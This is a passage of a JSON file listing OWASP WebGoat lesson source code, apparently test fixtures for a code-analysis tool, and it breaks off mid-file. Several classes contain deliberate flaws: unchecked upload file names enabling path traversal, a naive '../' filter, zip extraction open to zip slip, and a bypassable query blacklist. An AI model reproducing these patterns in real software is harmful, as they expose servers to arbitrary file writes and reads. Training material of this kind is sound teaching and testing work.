    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/TriedQuestions.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.passwordreset;\n\nimport java.util.HashSet;\nimport java.util.Set;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.context.annotation.SessionScope;\n\n@Component\n@SessionScope\npublic class TriedQuestions {\n\n  private Set<String> answeredQuestions = new HashSet<>();\n\n  public void incr(String question) {\n    answeredQuestions.add(question);\n  }\n\n  public boolean isComplete() {\n    return answeredQuestions.size() > 1;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/resetlink/PasswordChangeForm.java",
    "content": "package org.owasp.webgoat.lessons.passwordreset.resetlink;\n\nimport javax.validation.constraints.NotNull;\nimport javax.validation.constraints.Size;\nimport lombok.Getter;\nimport lombok.Setter;\n\n/**\n * @author nbaars\n * @since 8/18/17.\n */\n@Getter\n@Setter\npublic class PasswordChangeForm {\n\n  @NotNull\n  @Size(min = 6, max = 10)\n  private String password;\n\n  private String resetLink;\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/pathtraversal/PathTraversal.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.pathtraversal;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class PathTraversal extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A3;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"path-traversal-title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUpload.java",
    "content": "package org.owasp.webgoat.lessons.pathtraversal;\n\nimport static org.springframework.http.MediaType.ALL_VALUE;\nimport static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;\n\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.multipart.MultipartFile;\n\n@RestController\n@AssignmentHints({\n  \"path-traversal-profile.hint1\",\n  \"path-traversal-profile.hint2\",\n  \"path-traversal-profile.hint3\"\n})\npublic class ProfileUpload extends ProfileUploadBase {\n\n  public ProfileUpload(\n      @Value(\"${webgoat.server.directory}\") String webGoatHomeDirectory, WebSession webSession) {\n    super(webGoatHomeDirectory, webSession);\n  }\n\n  @PostMapping(\n      value = \"/PathTraversal/profile-upload\",\n      consumes = ALL_VALUE,\n      produces = APPLICATION_JSON_VALUE)\n  @ResponseBody\n  public AttackResult uploadFileHandler(\n      @RequestParam(\"uploadedFile\") MultipartFile file,\n      @RequestParam(value = \"fullName\", required = false) String fullName) {\n    return super.execute(file, fullName);\n  }\n\n  @GetMapping(\"/PathTraversal/profile-picture\")\n  @ResponseBody\n  public ResponseEntity<?> getProfilePicture() {\n    return super.getProfilePicture();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadBase.java",
    "content": "package org.owasp.webgoat.lessons.pathtraversal;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.util.Arrays;\nimport java.util.Base64;\nimport java.util.List;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport lombok.SneakyThrows;\nimport org.apache.commons.io.FilenameUtils;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.util.FileCopyUtils;\nimport org.springframework.util.FileSystemUtils;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.multipart.MultipartFile;\n\n@AllArgsConstructor\n@Getter\npublic class ProfileUploadBase extends AssignmentEndpoint {\n\n  private String webGoatHomeDirectory;\n  private WebSession webSession;\n\n  protected AttackResult execute(MultipartFile file, String fullName) {\n    if (file.isEmpty()) {\n      return failed(this).feedback(\"path-traversal-profile-empty-file\").build();\n    }\n    if (StringUtils.isEmpty(fullName)) {\n      return failed(this).feedback(\"path-traversal-profile-empty-name\").build();\n    }\n\n    File uploadDirectory = cleanupAndCreateDirectoryForUser();\n\n    try {\n      var uploadedFile = new File(uploadDirectory, fullName);\n      uploadedFile.createNewFile();\n      FileCopyUtils.copy(file.getBytes(), uploadedFile);\n\n      if (attemptWasMade(uploadDirectory, uploadedFile)) {\n        return solvedIt(uploadedFile);\n      }\n      return informationMessage(this)\n          .feedback(\"path-traversal-profile-updated\")\n          .feedbackArgs(uploadedFile.getAbsoluteFile())\n          .build();\n\n    } catch (IOException e) {\n      return failed(this).output(e.getMessage()).build();\n    }\n  }\n\n  @SneakyThrows\n  protected File cleanupAndCreateDirectoryForUser() {\n    var uploadDirectory =\n        new File(this.webGoatHomeDirectory, \"/PathTraversal/\" + webSession.getUserName());\n    if (uploadDirectory.exists()) {\n      FileSystemUtils.deleteRecursively(uploadDirectory);\n    }\n    Files.createDirectories(uploadDirectory.toPath());\n    return uploadDirectory;\n  }\n\n  private boolean attemptWasMade(File expectedUploadDirectory, File uploadedFile)\n      throws IOException {\n    return !expectedUploadDirectory\n        .getCanonicalPath()\n        .equals(uploadedFile.getParentFile().getCanonicalPath());\n  }\n\n  private AttackResult solvedIt(File uploadedFile) throws IOException {\n    if (uploadedFile.getCanonicalFile().getParentFile().getName().endsWith(\"PathTraversal\")) {\n      return success(this).build();\n    }\n    return failed(this)\n        .attemptWasMade()\n        .feedback(\"path-traversal-profile-attempt\")\n        .feedbackArgs(uploadedFile.getCanonicalPath())\n        .build();\n  }\n\n  public ResponseEntity<?> getProfilePicture() {\n    return ResponseEntity.ok()\n        .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))\n        .body(getProfilePictureAsBase64());\n  }\n\n  protected byte[] getProfilePictureAsBase64() {\n    var profilePictureDirectory =\n        new File(this.webGoatHomeDirectory, \"/PathTraversal/\" + webSession.getUserName());\n    var profileDirectoryFiles = profilePictureDirectory.listFiles();\n\n    if (profileDirectoryFiles != null && profileDirectoryFiles.length > 0) {\n      return Arrays.stream(profileDirectoryFiles)\n          .filter(file -> FilenameUtils.isExtension(file.getName(), List.of(\"jpg\", \"png\")))\n          .findFirst()\n          .map(\n              file -> {\n                try (var inputStream = new FileInputStream(profileDirectoryFiles[0])) {\n                  return Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream));\n                } catch (IOException e) {\n                  return defaultImage();\n                }\n              })\n          .orElse(defaultImage());\n    } else {\n      return defaultImage();\n    }\n  }\n\n  @SneakyThrows\n  protected byte[] defaultImage() {\n    var inputStream = getClass().getResourceAsStream(\"/images/account.png\");\n    return Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream));\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadFix.java",
    "content": "package org.owasp.webgoat.lessons.pathtraversal;\n\nimport static org.springframework.http.MediaType.ALL_VALUE;\nimport static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;\n\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.multipart.MultipartFile;\n\n@RestController\n@AssignmentHints({\n  \"path-traversal-profile-fix.hint1\",\n  \"path-traversal-profile-fix.hint2\",\n  \"path-traversal-profile-fix.hint3\"\n})\npublic class ProfileUploadFix extends ProfileUploadBase {\n\n  public ProfileUploadFix(\n      @Value(\"${webgoat.server.directory}\") String webGoatHomeDirectory, WebSession webSession) {\n    super(webGoatHomeDirectory, webSession);\n  }\n\n  @PostMapping(\n      value = \"/PathTraversal/profile-upload-fix\",\n      consumes = ALL_VALUE,\n      produces = APPLICATION_JSON_VALUE)\n  @ResponseBody\n  public AttackResult uploadFileHandler(\n      @RequestParam(\"uploadedFileFix\") MultipartFile file,\n      @RequestParam(value = \"fullNameFix\", required = false) String fullName) {\n    return super.execute(file, fullName != null ? fullName.replace(\"../\", \"\") : \"\");\n  }\n\n  @GetMapping(\"/PathTraversal/profile-picture-fix\")\n  @ResponseBody\n  public ResponseEntity<?> getProfilePicture() {\n    return super.getProfilePicture();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRemoveUserInput.java",
    "content": "package org.owasp.webgoat.lessons.pathtraversal;\n\nimport static org.springframework.http.MediaType.ALL_VALUE;\nimport static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;\n\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.multipart.MultipartFile;\n\n@RestController\n@AssignmentHints({\n  \"path-traversal-profile-remove-user-input.hint1\",\n  \"path-traversal-profile-remove-user-input.hint2\",\n  \"path-traversal-profile-remove-user-input.hint3\"\n})\npublic class ProfileUploadRemoveUserInput extends ProfileUploadBase {\n\n  public ProfileUploadRemoveUserInput(\n      @Value(\"${webgoat.server.directory}\") String webGoatHomeDirectory, WebSession webSession) {\n    super(webGoatHomeDirectory, webSession);\n  }\n\n  @PostMapping(\n      value = \"/PathTraversal/profile-upload-remove-user-input\",\n      consumes = ALL_VALUE,\n      produces = APPLICATION_JSON_VALUE)\n  @ResponseBody\n  public AttackResult uploadFileHandler(\n      @RequestParam(\"uploadedFileRemoveUserInput\") MultipartFile file) {\n    return super.execute(file, file.getOriginalFilename());\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRetrieval.java",
    "content": "package org.owasp.webgoat.lessons.pathtraversal;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.URI;\nimport java.net.URISyntaxException;\nimport java.nio.file.Files;\nimport java.util.Base64;\nimport javax.annotation.PostConstruct;\nimport javax.servlet.http.HttpServletRequest;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.RandomUtils;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.core.io.ClassPathResource;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.security.core.token.Sha512DigestUtils;\nimport org.springframework.util.FileCopyUtils;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\n  \"path-traversal-profile-retrieve.hint1\",\n  \"path-traversal-profile-retrieve.hint2\",\n  \"path-traversal-profile-retrieve.hint3\",\n  \"path-traversal-profile-retrieve.hint4\",\n  \"path-traversal-profile-retrieve.hint5\",\n  \"path-traversal-profile-retrieve.hint6\"\n})\n@Slf4j\npublic class ProfileUploadRetrieval extends AssignmentEndpoint {\n\n  private final File catPicturesDirectory;\n\n  public ProfileUploadRetrieval(@Value(\"${webgoat.server.directory}\") String webGoatHomeDirectory) {\n    this.catPicturesDirectory = new File(webGoatHomeDirectory, \"/PathTraversal/\" + \"/cats\");\n    this.catPicturesDirectory.mkdirs();\n  }\n\n  @PostConstruct\n  public void initAssignment() {\n    for (int i = 1; i <= 10; i++) {\n      try (InputStream is =\n          new ClassPathResource(\"lessons/pathtraversal/images/cats/\" + i + \".jpg\")\n              .getInputStream()) {\n        FileCopyUtils.copy(is, new FileOutputStream(new File(catPicturesDirectory, i + \".jpg\")));\n      } catch (Exception e) {\n        log.error(\"Unable to copy pictures\" + e.getMessage());\n      }\n    }\n    var secretDirectory = this.catPicturesDirectory.getParentFile().getParentFile();\n    try {\n      Files.writeString(\n          secretDirectory.toPath().resolve(\"path-traversal-secret.jpg\"),\n          \"You found it submit the SHA-512 hash of your username as answer\");\n    } catch (IOException e) {\n      log.error(\"Unable to write secret in: {}\", secretDirectory, e);\n    }\n  }\n\n  @PostMapping(\"/PathTraversal/random\")\n  @ResponseBody\n  public AttackResult execute(@RequestParam(value = \"secret\", required = false) String secret) {\n    if (Sha512DigestUtils.shaHex(getWebSession().getUserName()).equalsIgnoreCase(secret)) {\n      return success(this).build();\n    }\n    return failed(this).build();\n  }\n\n  @GetMapping(\"/PathTraversal/random-picture\")\n  @ResponseBody\n  public ResponseEntity<?> getProfilePicture(HttpServletRequest request) {\n    var queryParams = request.getQueryString();\n    if (queryParams != null && (queryParams.contains(\"..\") || queryParams.contains(\"/\"))) {\n      return ResponseEntity.badRequest()\n          .body(\"Illegal characters are not allowed in the query params\");\n    }\n    try {\n      var id = request.getParameter(\"id\");\n      var catPicture =\n          new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");\n\n      if (catPicture.getName().toLowerCase().contains(\"path-traversal-secret.jpg\")) {\n        return ResponseEntity.ok()\n            .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))\n            .body(FileCopyUtils.copyToByteArray(catPicture));\n      }\n      if (catPicture.exists()) {\n        return ResponseEntity.ok()\n            .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))\n            .location(new URI(\"/PathTraversal/random-picture?id=\" + catPicture.getName()))\n            .body(Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(catPicture)));\n      }\n      return ResponseEntity.status(HttpStatus.NOT_FOUND)\n          .location(new URI(\"/PathTraversal/random-picture?id=\" + catPicture.getName()))\n          .body(\n              StringUtils.arrayToCommaDelimitedString(catPicture.getParentFile().listFiles())\n                  .getBytes());\n    } catch (IOException | URISyntaxException e) {\n      log.error(\"Image not found\", e);\n    }\n\n    return ResponseEntity.badRequest().build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileZipSlip.java",
    "content": "package org.owasp.webgoat.lessons.pathtraversal;\n\nimport static org.springframework.http.MediaType.ALL_VALUE;\nimport static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.nio.file.Files;\nimport java.nio.file.StandardCopyOption;\nimport java.util.Arrays;\nimport java.util.Enumeration;\nimport java.util.zip.ZipEntry;\nimport java.util.zip.ZipFile;\nimport lombok.SneakyThrows;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.util.FileCopyUtils;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.multipart.MultipartFile;\n\n@RestController\n@AssignmentHints({\n  \"path-traversal-zip-slip.hint1\",\n  \"path-traversal-zip-slip.hint2\",\n  \"path-traversal-zip-slip.hint3\",\n  \"path-traversal-zip-slip.hint4\"\n})\n@Slf4j\npublic class ProfileZipSlip extends ProfileUploadBase {\n\n  public ProfileZipSlip(\n      @Value(\"${webgoat.server.directory}\") String webGoatHomeDirectory, WebSession webSession) {\n    super(webGoatHomeDirectory, webSession);\n  }\n\n  @PostMapping(\n      value = \"/PathTraversal/zip-slip\",\n      consumes = ALL_VALUE,\n      produces = APPLICATION_JSON_VALUE)\n  @ResponseBody\n  public AttackResult uploadFileHandler(@RequestParam(\"uploadedFileZipSlip\") MultipartFile file) {\n    if (!file.getOriginalFilename().toLowerCase().endsWith(\".zip\")) {\n      return failed(this).feedback(\"path-traversal-zip-slip.no-zip\").build();\n    } else {\n      return processZipUpload(file);\n    }\n  }\n\n  @SneakyThrows\n  private AttackResult processZipUpload(MultipartFile file) {\n    var tmpZipDirectory = Files.createTempDirectory(getWebSession().getUserName());\n    cleanupAndCreateDirectoryForUser();\n    var currentImage = getProfilePictureAsBase64();\n\n    try {\n      var uploadedZipFile = tmpZipDirectory.resolve(file.getOriginalFilename());\n      FileCopyUtils.copy(file.getBytes(), uploadedZipFile.toFile());\n\n      ZipFile zip = new ZipFile(uploadedZipFile.toFile());\n      Enumeration<? extends ZipEntry> entries = zip.entries();\n      while (entries.hasMoreElements()) {\n        ZipEntry e = entries.nextElement();\n        File f = new File(tmpZipDirectory.toFile(), e.getName());\n        InputStream is = zip.getInputStream(e);\n        Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING);\n      }\n\n      return isSolved(currentImage, getProfilePictureAsBase64());\n    } catch (IOException e) {\n      return failed(this).output(e.getMessage()).build();\n    }\n  }\n\n  private AttackResult isSolved(byte[] currentImage, byte[] newImage) {\n    if (Arrays.equals(currentImage, newImage)) {\n      return failed(this).output(\"path-traversal-zip-slip.extracted\").build();\n    }\n    return success(this).output(\"path-traversal-zip-slip.extracted\").build();\n  }\n\n  @GetMapping(\"/PathTraversal/zip-slip/\")\n  @ResponseBody\n  public ResponseEntity<?> getProfilePicture() {\n    return super.getProfilePicture();\n  }\n\n  @GetMapping(\"/PathTraversal/zip-slip/profile-image/{username}\")\n  @ResponseBody\n  public ResponseEntity<?> getProfilePicture(@PathVariable(\"username\") String username) {\n    return ResponseEntity.notFound().build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswords.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.securepasswords;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * @author BenediktStuhrmann\n * @since 12/2/18.\n */\n@Component\npublic class SecurePasswords extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A7;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"secure-passwords.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswordsAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.securepasswords;\n\nimport com.nulabinc.zxcvbn.Strength;\nimport com.nulabinc.zxcvbn.Zxcvbn;\nimport java.text.DecimalFormat;\nimport java.text.DecimalFormatSymbols;\nimport java.util.Locale;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class SecurePasswordsAssignment extends AssignmentEndpoint {\n\n  @PostMapping(\"SecurePasswords/assignment\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String password) {\n    Zxcvbn zxcvbn = new Zxcvbn();\n    StringBuilder output = new StringBuilder();\n    DecimalFormat df = new DecimalFormat(\"0\", DecimalFormatSymbols.getInstance(Locale.ENGLISH));\n    df.setMaximumFractionDigits(340);\n    Strength strength = zxcvbn.measure(password);\n\n    output.append(\"<b>Your Password: *******</b></br>\");\n    output.append(\"<b>Length: </b>\" + password.length() + \"</br>\");\n    output.append(\n        \"<b>Estimated guesses needed to crack your password: </b>\"\n            + df.format(strength.getGuesses())\n            + \"</br>\");\n    output.append(\n        \"<div style=\\\"float: left;padding-right: 10px;\\\"><b>Score: </b>\"\n            + strength.getScore()\n            + \"/4 </div>\");\n    if (strength.getScore() <= 1) {\n      output.append(\n          \"<div style=\\\"background-color:red;width: 200px;border-radius: 12px;float:\"\n              + \" left;\\\">&nbsp;</div></br>\");\n    } else if (strength.getScore() <= 3) {\n      output.append(\n          \"<div style=\\\"background-color:orange;width: 200px;border-radius: 12px;float:\"\n              + \" left;\\\">&nbsp;</div></br>\");\n    } else {\n      output.append(\n          \"<div style=\\\"background-color:green;width: 200px;border-radius: 12px;float:\"\n              + \" left;\\\">&nbsp;</div></br>\");\n    }\n    output.append(\n        \"<b>Estimated cracking time: </b>\"\n            + calculateTime(\n                (long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond())\n            + \"</br>\");\n    if (strength.getFeedback().getWarning().length() != 0)\n      output.append(\"<b>Warning: </b>\" + strength.getFeedback().getWarning() + \"</br>\");\n    // possible feedback: https://github.com/dropbox/zxcvbn/blob/master/src/feedback.coffee\n    // maybe ask user to try also weak passwords to see and understand feedback?\n    if (strength.getFeedback().getSuggestions().size() != 0) {\n      output.append(\"<b>Suggestions:</b></br><ul>\");\n      for (String sug : strength.getFeedback().getSuggestions())\n        output.append(\"<li>\" + sug + \"</li>\");\n      output.append(\"</ul></br>\");\n    }\n    output.append(\"<b>Score: </b>\" + strength.getScore() + \"/4 </br>\");\n\n    if (strength.getScore() >= 4)\n      return success(this).feedback(\"securepassword-success\").output(output.toString()).build();\n    else return failed(this).feedback(\"securepassword-failed\").output(output.toString()).build();\n  }\n\n  public static String calculateTime(long seconds) {\n    int s = 1;\n    int min = (60 * s);\n    int hr = (60 * min);\n    int d = (24 * hr);\n    int yr = (365 * d);\n\n    long years = seconds / (d) / 365;\n    long days = (seconds % yr) / (d);\n    long hours = (seconds % d) / (hr);\n    long minutes = (seconds % hr) / (min);\n    long sec = (seconds % min * s);\n\n    return (years\n        + \" years \"\n        + days\n        + \" days \"\n        + hours\n        + \" hours \"\n        + minutes\n        + \" minutes \"\n        + sec\n        + \" seconds\");\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookie.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2021 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.spoofcookie;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/***\n *\n * @author Angel Olle Blazquez\n *\n */\n\n@Component\npublic class SpoofCookie extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A1;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"spoofcookie.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookieAssignment.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2021 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.spoofcookie;\n\nimport java.util.Map;\nimport javax.servlet.http.Cookie;\nimport javax.servlet.http.HttpServletResponse;\nimport org.apache.commons.lang3.StringUtils;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.lessons.spoofcookie.encoders.EncDec;\nimport org.springframework.web.bind.UnsatisfiedServletRequestParameterException;\nimport org.springframework.web.bind.annotation.CookieValue;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/***\n *\n * @author Angel Olle 